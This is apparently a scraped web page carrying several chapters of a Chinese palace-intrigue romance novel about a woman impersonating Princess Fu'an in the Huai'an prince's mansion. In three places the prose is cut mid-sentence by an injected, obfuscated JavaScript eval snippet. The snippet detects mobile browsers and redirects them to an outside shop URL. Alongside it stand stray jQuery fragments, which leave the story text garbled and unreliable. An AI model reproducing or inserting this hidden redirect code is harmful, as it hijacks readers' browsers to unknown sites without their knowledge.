听闻前几日春诗还想抢十一娘侍疾的活儿,被当众落了个没脸。 春诗自然不敢在十一娘面前辩驳,便回房后暗戳戳拿小丫头们撒气,冬月手臂上密密麻麻的红痕都是被她拧出来的。 可怜,冬月原来多活泼娇俏的一个人,被春诗辖制的,如今变得唯唯诺诺。 好像只是因为冬月初来乍到服侍时,被王爷无意中赞了一句机灵。 玉竹姑姑虽然知晓内情,但是冬月性子胆怯,事情没翻到明面上,又要顾及府内体面,也是佯装不知。 小丫头略一思量,自己犯不着在口舌上得罪春诗,于是假装轻拧在提问的夏蝉脸上,揣度着春诗的心意接茬道,“呸呸呸,你个小蹄子知道什么,公子那是明褒暗贬,看似抬举了十一娘的身份,但实际却离了公子近身,而且名不正言不顺,又不是侍妾又不是亲眷,有恩无宠罢了。” 春诗抬眸瞧了小丫头一眼,唇边泛起一丝淡淡的笑意,语气却不冷不热:“你知道得倒多!” 小丫头双手捧着一个包得整整齐齐的小盒子,满脸堆笑地递到春诗面前,讨好地巴结道,“春诗姐姐,这点小东西是奴婢的一片心意,您可千万别嫌弃。我有个同乡的小姐妹孤苦无依,想求春诗姐姐在玉竹姑姑面前说说话,帮忙也在王府里谋个差事……听闻花房的柳家婆子下个月就要告老还乡了,花房会有人手出缺……” “……届时,还请春诗姐姐美言几句……” 小丫头一边恭维着,一边眼底悄悄掠过一丝冷嘲。 她早打听得一清二楚:春诗素来有贪财之癖,甚至敢狐假虎威借着玉竹的势,在府中人事安插上私自收受“买路钱”,暗中动作。 春诗挑了挑眉,眼神扫过那盒子,漫不经心地问:“什么东西?” 小丫头赶忙揭开盒盖,里面是一对用上好丝线绣成的帕子,边角还缀了几颗细碎的珍珠。她笑着说道:“担心姐姐手帕不够用,便连夜绣了这对新的,虽比不上府里赏赐的那些东西名贵,但也算是奴婢的一点心意。” 春诗拿起一方帕子,细细打量,帕上的牡丹绣得精致,颜色选得妥帖,细碎的珍珠倒也值几个银钱。她唇边泛起一丝淡淡的笑意,“还算有点心思。” 小丫头见她接了东西,忙不迭地附和:“我这点小伎俩哪能入您的眼,不过是想着给春诗姐姐添些方便。” 言罢又上前一步,趁机将两锭银子塞进春诗手中,“我半月前能顶替张家丫头进到王府,也是沾了春诗姐姐的光呢!” 春诗掂了掂重量,脸上露出笑意,拨弄着手腕上府里新赏的金手镯,得意洋洋道,“十一娘不过是仗着自己有几分姿色,再加上从醉吟楼里学来的些许才情,摆出一副可怜身世博得公子的怜惜,这才得以进府罢了……但她的出身摆在那里,永远也不能名正言顺地嫁入咱们淮安王府!公子最多欢喜两天……热闹一过,自然就淡了。” 小丫头闻言一愣,好奇心作祟继续追问道,“那这里面住着的福安郡主,是公子心尖上的人吗?听闻郡主当年在宫宴上对王爷一见钟情,很是倾慕呢……” 几人还在兴高采烈地议论着,未察“言靖雪”不知何时已经站在门口掩口轻咳。 福安郡主自幼受宫中嬷嬷教养,年少时形成的规矩,即使穿戴十多斤重的朝服依然步履轻盈,如弱柳扶风,悄无声息。 柳昭昭进府前特意请宫中嬷嬷仔细学习过,倒也并不难。 众人心下一惊,聊得入了迷,竟不知屋内的咳声何时停了,不知福安郡主是何时走出的房门,更不知刚才的话音被她听去多少。 昭昭面色如常,本不欲理会府内丫鬟间的琐事,她随手从屋内妆奁上拾起一个鸽子血的红宝石发钗,递给年纪小些的夏蝉,“劳烦妹妹帮忙传个话,靖雪丢了一件极为重要的贴身物件,遍寻不见,请姑娘帮忙寻找。如有人拾到,靖雪愿重重酬谢。” 另一个小丫头大着胆子偷瞥了一眼言郡主,只见她肌肤如雪,眉若远山,眼如星子,面上未施粉黛,一张素净的小脸裹在王爷的黑狐裘大氅中,气色好了许多,却还是带着几分病容。 若论好颜色,与十一娘却是春花秋月、各有千秋,郡主身姿如玉,静如明月高悬,动若灿阳灼灼,令人相形见绌,不敢直视。 而十一娘冰魂雪魄、艳骨天生,反而像一面过于清晰的镜子,照出观者心底的尘埃与卑琐,忍不住生出嫉恨怨怼之情。 春诗不知刚才私下受贿的谈话被郡主听去多少,淮安王府规矩极严,若是被发现是要赶出府的,便想祸水东引,于是抢先发作,她语调陡然拔高,朝着刚刚巴结她的小丫鬟打过去,“你竟敢在私下编排主子,眼里还有没有规矩?!” 伴随着清脆的巴掌声,被打的小丫鬟捂着脸,愣愣地跪下,眼中满是不解与委屈。“奴婢说什么了?春诗姐姐,您为何冤枉我?”她的声音带着哭腔,满脸慌张。 夏蝉瞥了一眼春诗瘪瘪嘴,春诗却抢先一步上前,厉声斥道:“你敢说没有?刚才在屋檐下嚼舌根,对着主子们评头论足,还说……还说郡主福安郡主痴缠王爷数载,是落花有意流水无情!这可是我亲耳听见的!还敢不认,我看你是想吃苦头了!” 话音刚落,春诗猛地转身,扑通一声跪下,对着靖雪连连叩头:“郡主娘娘明鉴!奴婢实在看不过去,才出手教训她,绝无半句虚言!” 昭昭虽未听得真切,但在青衣门中也见过不少市井龌龊,不觉勾起从前和子晏一起被欺辱的记忆,眸中带上几分冷意道,“淮安王府内的事自然有薛景珩约束管教,与我无关……只是,我瞧着春诗姑娘年轻美貌又聪慧,好心奉劝姑娘一句,大家同在一处,朝夕相伴,理应守望相助。” 她的语气不疾不徐,却带着上位者的压迫,“若是持心不正者,虽得一时之利,却终究自毁长城。世间之事,总有天理昭彰之日。” 春诗应诺,战战兢兢地跪伏在地,再不敢多言半句。 还是夏蝉瞧着春诗被责备有些不忍,大着胆子提问解围,“请问郡主,您吩咐奴婢寻的物件长什么样子,奴婢见识粗鄙,若是要府上画师绘成图,也可更好照着找些,别误了郡主娘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏怀堂高声追问道,“景珩,另外一个搬弄是非、私受贿赂的婢女该怎么处置?”他声音轻快,眉眼带笑,像说一件有趣的市井见闻。 薛景珩将一份密报掷于案上,声音听不出喜怒:“府中混入的南境细作已招认是买通春诗,顶替了别人的名额进府。”他目光如冰刃般掠过伏地颤抖的女子,“但是,念其素日恭谨,并非存心通敌,留她一命。按照规矩,撵出府吧。” “别呢,薛公子,春诗姑娘年少美貌,不如赐给我吧,碧落坊中自有人教教她规矩。”苏怀堂的眼神带着玩味。 春诗闻言已经瘫软在地,双眸失去了往日的争荣夺耀的得意,“奴婢知错了,求主子开恩,饶过奴婢这一次吧……”语气颤抖,带着十分懊悔,更多的是行差踏错的不甘心,“都怪奴婢一时糊涂,求苏公子开恩。” 苏怀堂饶有兴致地注视的春诗的表情,“贪欲熏心,却懂得借势伪装;目光短浅,偏能窥见漏洞,以求私利。”他唇角勾起一抹毫无温度的弧度,“倒是个聪明人……你去到‘碧落坊’,说不定反而可以物尽其用。” 他唇角上扬,吐露的语言却冷酷,每个字都像压着冰霜。 碧落坊是金陵苏家的暗卫组织,听命于苏怀堂。 碧落坊的人为了完成任务,常常混迹于各类三教九流场所,十一娘便是碧落坊出来的天阶暗探。 碧落坊虽然算不上什么虎狼窝,定时定晌还有不少份例银子拿,只是风餐露宿多辛苦呀,肯定是比不上淮安王府的体面舒服。 春诗的肩膀微微颤抖,不敢抬头。她怕苏怀堂比之正经主子薛景珩更甚。 于是紧咬下唇,试图挤出几滴可怜的泪水,可对方的威势和冷笑让她心底的胆怯瞬间放大。 苏怀堂缓缓直起身,眼神中带着一丝厌恶和不屑,“淮安王府是容不下你了,若是春诗姑娘肯改过自新,碧落坊也不失为一个好去处,只是若再让我发现你耍什么手段,后果……”他冷笑一声,语气轻飘却带着致命的威慑,“绝不会像今天这么简单。” 薛景珩面有不忍,犹豫皱眉道,“随你吧。” 苏怀堂得了允许,快活地轻佻眉毛看向春诗,带着不自觉的无邪和残忍。 16. 再试探 暖玉阁外,薛景珩在院内的白梅树下默默良久,昭昭抬眼看见的便是他伫立的背影,霜雪落满肩,不愧话本子里“言念君子,温其如玉”的美誉,无愧临安城无数闺阁女儿心中的少年郎模样。 如今薛景珩转过身,眉眼依旧如昨,时光仿佛偷偷略过他,只是增添了几分坚毅和威仪。 昭昭心有所感,开口打趣道,“岁月不肯薄待淮安王,恍惚间,还是多年前清贵出尘的薛家二公子模样。” 薛景珩闻言愣了愣,忽而落落笑开,只是这场景分明陌生,却让昭昭心尖莫名一颤,忽然与某个脑海深处的模糊记忆重叠。 却想不起是在哪里见过。 她慌忙转身瞧向院中梅花,却听见自己不受控制脱口而出:“今年的白梅……开得比以往更盛些。” 话一出口便僵住了——她何曾来过此地。 赶忙转换话题,“夏蝉说你想见我?” 薛景珩的神色也略有怔楞,淮安王府院中的白梅自她五年前离开后越发不济,今年彻底枯死了,这些是不久前吩咐玉竹专门遣人从江南移植过来的。 薛景珩连日请来神医圣手,为她调理身体,声音虽不完全,但已恢复大半,听闻她原本的声音,薛景珩颤了颤,终只淡淡道,“我带了你从前最爱的蜜糖桂花糕,趁热口感最好,尝一些吧。” 两人不管前尘往事、朝堂风雨和市井流言,难得同席而坐,心平气和地吃了顿饭。 薛景珩不喜奢华,素日又不重口腹之欲,口味清淡,王府里的菜品都做的清淡雅致,日子久了厨子们深感一身厨艺无处施展,如今言郡主来了,眼见自家公子金屋藏娇的态势,便知晓这必是其心尖尖上的女子,于是今日一顿饭菜,各位大厨用尽了百宝,一桌菜肴极尽珍馐。 紫檀桌上依次摆开十二只定窑盘。 第一道唤作“雪霞羹”,是厨娘取了玉子豆腐心尖上那点最嫩的,片薄了,再覆上松蕈熬的琥珀冻而成——是复刻前朝《山家清供》里记的雅食。 最后一道是“白玉浮波羹”,碗盖下浮着汤圆大的藕丸,揭开花苞状的面衣,里头裹着太湖白鱼捏成的肉丸,佐以扬州头茬紫云英嫩芽,鲜香甜嫩,十分爽口。 十二道时令佳肴错落有致。 即使是在王府见惯了世面的夏蝉也觉得过分奢华。 薛景珩替她斟了盏酒,琥珀色的液体在月光下晃出细碎光晕,“我亲手酿的梅子酒,请郡主尝尝?” “那便却之不恭了。” 薛景珩几乎未动筷箸,只虚握着青瓷酒盏,目光贪恋地落在她眉眼间,像在端详一件失而复得的珍宝。 昭昭正前方的辣味羊方一筷未动,侍女察言观色正要撤下,却见薛景珩指尖在案几上轻轻一叩——那碟菜又回到了原位。 “可是不合口味?”薛景珩状似体贴地将辣味羊方往昭昭方向挪了一点。“你从前最爱吃这道菜。” “很可口”,昭昭略作迟疑,终究夹起一块裹着红油的羊肉,不情不愿地放入口中。 薛景珩瞧见她睫毛几不可察地颤了颤,勉强咽下半口。 只是紧接去端茶水的指尖微微一颤,仿佛被杯沿的热气烫到,瓷杯便恰到好处地滚下桌沿——褐色的茶水瞬间在素色衣袖上洇开一片狼狈的湿痕。 “王爷恕罪,民女失仪了先退下……”她低呼一声,带着恰到好处的慌乱站起身,眼神已飘向亭外。 薛景珩目光掠过她泛红的指尖,唇角噙着温润笑意吩咐左右,“无妨,景珩在此恭候,你们带郡主下去更衣。” 半晌,望着回廊下渐行渐远的身影,薛景珩敛起唇角稍纵即逝的弧度,方吩咐侍女道,“去把我卧房的冰裂纹瓷盒取来,那里面有紫金化疹膏,郡主一会儿用得到。” “王爷怎知……”侍女困惑的话音未落,总管小厨房的周嬷嬷已迈着匆匆的小碎步掀帘而入,围裙上沾着几片油渍。 “二公子,错不了错不了……老奴在屏风后瞧得真真儿的!” 嬷嬷眼里闪着欣喜的光芒,她掰着粗糙的手指认真盘算道,“姑娘爱吃苦笋和虾仁,而且口味清淡吃不得咸,那盘特意做咸的虾仁,要过水涮两回才入口”。 嬷嬷得意地抬高了声量,“而且辣子丁点儿都不沾,吃了便会手背起红疹——和从前福安小郡主的饮食一个样!” 薛景珩眸色深沉,打断了嬷嬷的滔滔不绝,“我知晓了,你先退下吧……” 半晌,珠帘轻响,昭昭终于缓步而归。 她左手虚拢在袖中,露出些许绯红的肌肤。 “烫着了?”薛景珩搁下茶盏,目光落在她刻意遮掩的手背上——那红痕分明是成片的疹子,哪是什么烫伤。 她抿唇点头,眼角也适时地逼出一点水光,显得楚楚可怜,可眼中一闪而过的愤恨和近乎挑衅的锐利光芒都被薛景珩看在眼中,“茶水太烫了……” 薛景珩忽而轻笑,拿过侍女刚刚备好的冰裂纹瓷盒。指尖挑开盒盖时,药膏清苦的香气弥漫开来。 “郡主金尊玉贵,这是宫中御赐药的烫伤药,擦些免得落下伤疤。” 不等她推拒,他已擒住她纤细的手腕。力道不重,却不容挣脱。 “我自己来……” “别动!”药香氤氲间,指尖轻擦过她泛红的肌肤时,察觉到手腕细微的颤抖和抗拒,薛景珩忽然抬眸颦眉:“靖雪,你在怕我?” 目光如刃,似要剖开她所有伪装。 药膏沁凉的触感让她脊背发僵,昭昭却鬼使神差地想起陆子晏手腕上也有一个伤疤,似乎是自幼便有的,也不知道如今还疼不疼。 “在想什么这么出神?”薛景珩声线平稳,却比平日低了半分,目光凝在她脸上有些不满。 昭昭慌乱中抽回手,珊瑚镯子撞在案几上铮然作响,“男女有别,还请淮安王自重,免得玷污了王爷清誉……” 薛景珩慢条斯理合上瓷盒,咔哒一声轻响,“你前几日还唤我景珩哥哥,为我抚琴……今日又对我避之不及?” 昭昭斟酌着语气顿了顿,抬眼时沉静如水道:“靖雪前几日顽劣无知,做下刺杀的蠢事,不过是一时被执念蒙蔽心智……言家族倾覆归根结底是因为党争,成王败寇而已,许是还有功高者必危的缘由……” “……只是我那时年幼,还分不清,是恨你,还是恨这局里再无人可恨。” 这些话语是她入府前便想好的说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16637539|188073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 辞,如今垂下眼眸,又斟酌着语气开口道:“承蒙你还念着昔日兄妹情分,对我手下留情……待我伤势稍好,便会自行离去,不再叨扰。” “唯有一件事”,她抬眸打量着薛景珩的神色如常,方放心继续道:“我随身携带的碧玉簪不见了,倒不是什么值钱的珍宝,只是……故友之物,若府里有人拾到,还请归还。靖雪感激不尽。” “兄妹?” 薛景珩神色骤冷,唇角微扬,却无半分笑意。 他声音带着一点几不可闻的嘲意,像是自问,又像在克制心口翻涌的某种情绪,“薛家族谱中只有一位兄长薛景彻,我竟不知自己何时多了福安郡主这样一位聪慧可人的妹妹?” 薛景珩从怀中取出碧玉簪,碧色温润,簪身雕着粗陋的兰花纹。 “果然在你手里”,昭昭眼神一紧,几乎是本能地伸手去夺。 他轻巧一避,簪子擦着她指尖而过。 她神色慌乱,连掩饰都来不及。 薛景珩目光沉沉地望着她,指腹缓缓摩挲着簪身,语气冷淡道:“你果然在意它。” “云想衣裳花想容,女子爱惜发簪有何奇怪?”昭昭难得带了怒气。 “是吗?”薛景珩唇角微勾,“可我记得福安郡主从前最厌金银玉器?说它老气横秋,不如珍珠灵动娇俏。” 她指尖悬在半空,强自镇定:“女子善变,到了年岁喜欢的东西到底有所不同。” “是么?” 薛景珩忽然逼近,身上沉水香混着寒意笼罩下来,“那到底是谁让你转了性子?” “还给我!”她伸手去夺,被薛景珩侧身避开。 他垂眸凝视碧玉簪良久,神色一点点沉下去,碧玉的水头出的极好,不是寻常物件,但是雕刻的花样粗糙简陋,倒像是手工雕刻的定情之物……这支簪子,她竟这样紧张。 “这支碧玉簪”,他低声语气骤冷,“到底是谁送的?” “故友相赠的礼物罢了。” 薛景珩冷笑,“我与郡主自幼相识,竟不知道你还有这般珍重的故人?……过去任性起来,金玉玛瑙的首饰也不知道摔了多少,如今不过是个质朴粗刻的玉簪,也值得金尊玉贵的言郡主亲自向我开口求!” 薛景珩面色不善,“过去离开这五年,你没有什么想告诉我的吗?” 昭昭微微怔楞,语气迟疑道,“我……” 薛景珩忽然抬手,一把握住她的手腕,力道不重,有压抑的怒意,“既然此刻不说,那就一辈子别告诉我……” 他声音低哑却带着一丝锋利。 “薛景珩!”昭昭终于从伪装的面具下逃逸出几分不安神色,“你到底想如何?” “你若是心中有了旁人,还为什么还要回来我身边?” 薛景珩忽然发力,将她拽至身前怀中。温热的吐息拂过她轻颤的睫毛,“既逃了五年,早已抽身世外,何必回到临安城再自投罗网?” 窗外惊雷炸响,照亮他眼底翻涌的暗潮,暴雨骤至打湿两人纠缠的衣摆。 薛景珩忽然低头咬住她颈侧小痣,在惊呼声中呢喃: “靖雪,为什么偏还回来,还要闯入临安城的残局……” 17. 红绡帐 淮安王府,暖玉阁中,夜色深沉,红烛燃尽半枝,沉香氤氲,四下不语,茜纱床帐上映出二人依稀的轮廓。 昭昭乌发散乱,衣襟微敞,颈侧隐有淡红痕迹,手指轻轻抚过琴弦,指法越来越快,额头渗出细密汗珠。 一曲清丽婉约的临安调被弹的支离破碎,最后一个音符在空气中震颤着消散,还带着隐隐愤恨。 “从前福安郡主娇生惯养,言伯伯不许你习武、不愿你沾染江湖气,如今,短短五年不见,你以琴音控神定魂的能力倒是令人惊叹……” 薛景珩仰头倒在床榻上,右手被绑在床头,声音低哑,混着未散尽的欲念,中衣松落开来,腰封扔在床边,发带亦未束,开口神色却认真,“所以……是谁教得你习武?” 昭昭怒气未消,放下手中古琴,坐到他身侧,手中一柄寒光凛凛的小刀在薛景珩眼前来回比划,眸色带霜,语气压抑着怒火。 “没想到素日贤名在外,据说端庄持重的淮安王竟是这般孟、浪、之、徒!”她言语讥诮,眼神藏着女儿家的不满和嫌恶,“你可真是令人刮目相看!” 薛景珩眼里却漾开一点真实的笑意,温存地流连在她微愠的眉眼间,瞧着她因恼怒而鲜活起来的表情——那里头,终于又看见了从前福安小郡主的影子。 昭昭不满他的凝视和走神,手中的刀尖不轻不重地在他喉间上一抵,留下一道细如发丝的血痕,“我若是此时此刻杀了你,明日全临安城都会知道,权倾朝野的淮安王竟然死在风月事上,这是多大的笑话!” 薛景珩眼底潮红未褪,嗓音沙哑得厉害道:“我自诩定力过人……可每次近你身侧……”他似是难以启齿地垂眸,自嘲般低笑,“……仿佛便将心底最见不得人的幽暗欲望引诱出来……虽然这般说辞,连我自己都觉得是借口托词。” 昭昭怔了怔,怒气未退,神色却微妙地一变。 “巧言令色!分明是你自己色令智昏,倒是推脱到女子身上!所幸我用琴音控神定魂,方没有酿下大祸!” 她缓缓收回刀,眼神复杂,冷意中透出些许不安。 薛景珩垂眸带了笑意,“刚才是我逾矩了!几日前,我请天下第一神算子宗政明看过,最快半月后便是良辰吉时,淮安王府想要一位女主人,也不知你是否愿意?……只不过,若要赶制你自幼喜欢的珍珠嫁衣怕是有些紧促。” 薛景珩仰头凑近,动作一寸寸探向她,声音低沉带笑道:“五年前,言伯父终究还是收下了我的合婚庚帖,福安郡主是我未过门的妻子,未婚夫妻久别重逢耳鬓厮磨,略微亲近些,倒也……不算伤风败俗。” “你休得胡言乱语毁我清誉!你与言府是政敌,丞相怎会答应将掌上明珠嫁与你?!”昭昭开口反驳。 “你若不信,便先放开我……”薛景珩调整了姿势,靠的更近,语气里带着诱哄,“合婚庚帖连同你十六岁的生辰礼就放在我书房暗阁中,你若不信,现在便可去翻看,其中,还有言伯父的亲笔书信为证。” “藏在书房暗阁中的是合婚庚帖?!”她一时语塞,“那山……” “不然你以为是什么?” 薛景珩颦眉,忽然手腕一翻,那看似牢固的绸带竟不堪一击地寸寸断裂。 他一把攥住她持刀的手,迎着刀锋毫不犹疑地倾身向前,刀尖立刻刺入肌肤半寸,鲜血顺着脖颈流进衣领。 “言靖雪,你最好只是因为言氏倒台而单纯地恨我……” 他眼神骤然锐利,“而不是为了其他什么目的,或者其他什么人,才回到我身边,如若如此,我绝对不会轻易放过他……” —— 淮安王府,客房中,竹帘半卷,药香弥散。 苏怀堂此刻正斜倚软榻,衣襟半敞,露出精悍的腰腹。 几道扎眼的伤口横贯肩胛,血痕早已凝固,疤痕却仍显得狰狞。 年迈的北丐神医正低着头,眯着眼睛认真替他敷药,忽闻门外传来脚步轻响—— “苏公子,奴婢来送今日的茶食。” “进来吧。” 闻言,冬月卷起竹帘,脚步轻快地端着红漆食盒走进来。 自从春诗姐姐被撵出府,她们几个小丫头再也不用受她欺压,日子好过多了,因此,私底下格外感激苏公子,甚至几个人凑了些小份子,备了些新奇吃食以此报答苏公子的恩情。 盒盖未启,先飘出一缕蜜香,混着药炉里袅袅升起的苦味,在厢房里缠成一股奇特的暖意。 “多谢,放下吧。” “是,苏公子。” 年迈的北丐神医正捏着银剪给苏怀堂换药包扎,忽然皱了皱鼻子,转过身在空气中仔细地嗅了嗅:“咦?好像是蜜煎青梅的味道!” 食盒掀开,摆着各样精致茶点:松瓤鹅油卷、蜜煎青梅、藕粉桂糖糕、红果烙、红梅酥、开口笑榛子饼,还有一盅冒着热气的杏仁茶。 神医眼睛一亮,银剪“当啷”一声掉进冒着热气的铜盆里。 “北丐神医?”苏怀堂瞧着才包扎好一半的纱布,屈指敲了敲榻边小几,无奈道,“您老三日前的积食可才好……” 北丐神医闻言讪讪收回探向青梅的手,鼻尖无辜地耸了耸,手上包扎换药的动作虽然继续,眼睛却一直瞟向漆盘。 最后终于是忍不住,伸手拿了块开口笑榛子饼放进嘴里,细细咀嚼起来,话语含混不清道:“唔……淮安王府小厨房的手艺可不能浪费,外面千金难求!唔……这榛子饼趁热果然才最好吃!” 冬月捂着嘴偷笑,替北丐神医斟了杯杏仁茶道:“慢着些,当心噎到。您老若是喜欢,我们改日再做了送来。” 准备退下时,余光却瞥见苏怀堂修长的手指在那碟青梅旁顿了顿。 青梅色泽鲜亮,带着一股清新的酸涩,与府上常备的蜜饯果子不同。< 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北丐神医瞧着他所有所思的顽劣神色,嫌弃之情溢于言表道:“薛景珩的家事他自己心中有数,何须你来狗拿耗子多管闲事?!” 苏怀堂翻了个白眼,冷冷回应北丐神医道:“薛景珩近日醉心琴艺,晨起习乐而至忘形,衣冠尚且不整,哪里还有心思去分辨是非?!” “胡说!薛景珩虽爱听琴,可从不抚琴!……哎,你莫不是在说福安小郡主?” 北丐神医顿时一脸八卦神色,瞧着苏怀堂的两眼放光,仿佛瞧见一味世所罕见的珍稀药材,想要将其掰开了鉴赏药性,“……你是说他和福安郡主?!你说的是克己复礼的薛景珩?!” 他三下五除二极敷衍地替苏怀堂处理好伤口,然后拿着糕点盘坐在软塌上,一脸正色地对着苏怀堂道:“你昨日看见些什么,再展开仔细讲讲!” 暮色渐合,淮安王府侧门的小巷子口,影影绰绰,约莫有两道纤细人影,在将暗未暗的天光里争执。 被赶出王府的春诗褪去往日那些招摇的艳色衣裳,只着一身雨过天青色的夹袄,下摆是月白色棉裙,浑身上下再无半点装饰,连平日鬓边那支俗气的蝶舞金簪也不戴了。 满头乌发用最寻常的木簪松松挽起,反倒衬得那张薄施脂粉的脸,在暮色里透出几分往日罕见的楚楚动人,更胜一番情致风韵。 “你不能如此待我!大不了我们鱼死网破……”她在与人争执,那人站在巷子里更深处的阴影下,只有压低的、断断续续的声音传过来,夹杂在寒风中,听不真切。 “……苏公子出口的事情,如何还有转圜的余地?只是你若……” “一言为定!”春诗神情焦躁,紧紧拽住对方的手腕,不肯放松。“来日,若被我发现你敢苛待她……我一定不会放过你……” 檐下初亮的灯笼,在她素净的衣袂和没什么血色的脸颊上,投下一层晦暗不明的光晕。 18. “小公子” 暖玉阁,茶烟袅袅,暗香盈室。 薛景珩刚散了朝,眉梢眼角还带着笑,步履轻松地穿过回廊。 袖中一个机关嵌套的小盒颇有趣味,传闻是司寇家匠人精心所制的“九曲玲珑”,得来很是费了些功夫。 此刻被他妥帖地拢在掌心,她素来喜欢这种古灵精怪的东西。 推开暖玉阁的门,满室珠光宝气——描金的妆奁、堆叠的锦缎、精巧的玉器,皆是淮安王府精心备下的嫁礼。 他目光落在窗边那道素白的身影上。 昭昭只着中衣,背对着他,对着虚空出神。 那些纷繁漂亮的锦缎、价值连城的珍珠,在她身后成了模糊不起眼的背景。 薛景珩唇边的弧度微微一滞,方才满腔的期许倏地沉了下去,袖中拢着“九曲玲珑”的手指亦是无意识收紧了几分。 “王爷不进去吗?”夏蝉低声询问,“郡主许是……许是整日呆在暖玉阁里有些拘束,才闷闷不乐……” 薛景珩目光转到庭院中一株开得正盛的白梅上,语气听不出波澜道:“听闻城南新来了个演傀儡戏的班子,你嘱咐路遥陪她出门散散心。” 他顿了顿,垂下眼帘,声音压低了些,“不必特意提及是我的意思。” 夏蝉愣了一下,垂首应喏。 “是,王爷。” 城南长街熙熙攘攘,淮安王府的车马刚行至成记绸缎庄前,车内忽然传来一声清脆的命令,“停车!” 只见一位身着赤金织锦、头戴玉冠的清俊“小公子”利落地跳下马车,信步而入,身后两名护卫寸步不离。 “郡……小公子,王爷吩咐是带你去看傀儡戏表演,可没说让你信马由缰地在此闲逛!”路遥压低了声音,凑在昭昭耳畔警告。 “哦?”她所有所思地打量着店内物件,淡声开口道:“那你家王爷有没有吩咐要讨我欢心?傀儡戏无趣,我倒觉得这家衣裳不错。” “小公子”的眼神漫不经心略过衣架。 忽地,他目光一停。一位富态商人手中,正仔细端详着一件褪红色外衫。 “这颜色倒衬我。”她声音清越,带着不容置疑的意味,伸手便去取。 “哎?这位小公子,这……这可是在下先看中的!”商人一愣,随即恼怒,下意识抓紧了衣衫不放手。 “看中又如何?”她唇角勾起一抹讥诮的弧度,“也得看你……留不留得住。” 话音未落,“小公子”手腕一翻,用的赫然是青衣门擒拿功夫“云龙三折手”。 快、准、巧,直切商人腕脉! 商人只觉得手腕一麻,衣料瞬间脱手! 他惊怒交加,脸涨得通红:“临安城内,天子脚下……竟然有你这般强取豪夺的无赖之人?!来人……” “聒噪。”昭昭眼神顽劣,带着一丝骄横,“淮安王府看中的东西,你也敢争?” “淮安王?”商人眼神满是不敢置信,满腔怒火瞬间被浇灭,脸色由红转白,冷汗涔涔——那可是二皇子面前炙手可热的大红人,如今跺跺脚京城都要抖三抖的人物! 眼前这跋扈小公子竟是他府上的?! 他心中怔楞,这才下意识抬眼,细细观摩眼前这位跋扈的“小公子”。 只见对方虽作男装,但肌肤胜雪,眉眼精致得过分,尤其那微微上挑的眼尾带着三分迫人的颜色……商人心中猛地一跳,传闻中淮安王不近女色,府内并未王妃、侍妾,这位小公子莫不是淮安王娇养在府的男宠?! 再结合这“小公子”通身的骄矜气派和提及“淮安王”时的熟稔口吻…… 商人恍然大悟,眼神里瞬间带上了几分自以为是的了然与轻慢,语气立即和软了些,表面却丝毫不敢显露道:“原来……是淮安王府上的贵人?失敬失敬!……” “都说淮安王爱民如子,今日也不好让你平白割爱。”昭昭吩咐左右取来刚买下的青色蟠龙玉佩,细细展示给店内众人看,那玉色温润、水头极足,一看便是价值连城之物。 她却看也不看,随手抛给商人。 “赏你吧,当做这件衣裳的酬金。”她语气平静,眼神却落在伺候在侧的小裁缝师傅身上,意味深长地补了一句:“旧玉迎新主,权当给你…添份福禄吧。” 商人捧着那烫手山芋般贵重的青色玉佩,又惊又怕又喜,哪里还敢有半分怨言,只一个劲儿地躬身道:“多谢小公子赏!先前是在下有眼无珠……” 昭昭离开后,方才默默立侍左右的小裁缝却心跳如鼓! 他看得分明,那“云龙三折手”的招式、青色玉佩,尤其是最后那句暗藏玄机的话——“旧玉迎新主,添份福禄”——这是青衣门最高阶的求救密语! 可是青衣门十六堂中只有密云和朝云两地堂主是女子,形容和年龄也与面前的“小公子”对不上,莫不是…… 他心中有了一个大胆猜测,她……她难道就是传闻中失踪的小司命?! 小司命聪慧狠厉,年纪轻轻就能够以女子之身统领十六堂,除了小医仙外,最得门主信赖。 他强压心中战栗,立刻闪身进入后堂,急切地研墨铺纸,就要写下密信飞鸽传书。 此事必须立刻通知门主! 小司命竟然身陷囹圄,似乎被困于淮安王手中! 就在他笔尖即将落纸的瞬间,一道黑影悄无声息地出现在他身后,是有孕七个月的妻子,女子贴心地将大氅盖在他身上,“宇哥,别写了。” 女子的声音低沉,带着一丝不易察觉的疲惫和不安。 他愕然回头道:“云娘?你……你刚刚也看到了!那是小司命在传讯求救……” “看到了。”云娘打断他,眼神复杂。 “那你还不快帮我传信!门主若是知晓……” “门主……不能知道。”云娘的声音骤然变冷,同时,一道寒光已自她袖中刺出,精准地没入男子的后心! 男子身体猛地一僵,难以置信地低头看着透胸而出的刀尖,喉头咯咯作响:“云娘?为……为什么……” 云娘挺着肚子扶住他软倒的身体,声音压抑却无比决绝:“对不起……小医仙对云娘全家有救命之恩,我不能不按照她的吩咐做事,欠你的命……云娘下辈子还。但小司命求救的消息,绝不能让门主知晓。” 她迅速抽出短刀,任由男子无声滑落在地,眼神冰冷地抓起那张只写了一半的信纸,连同染血的笔,一同丢进了角落中熊熊燃烧的炭盆里。 火光跳跃,映着女子略有愧色的脸。 —— 暮色四合,华灯初上。 昭昭倚在九霄楼九层的观星阁上,百无聊赖地凭栏远眺,指尖拨弄着一朵半开的绿梅。 她已耐着性子看完了整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 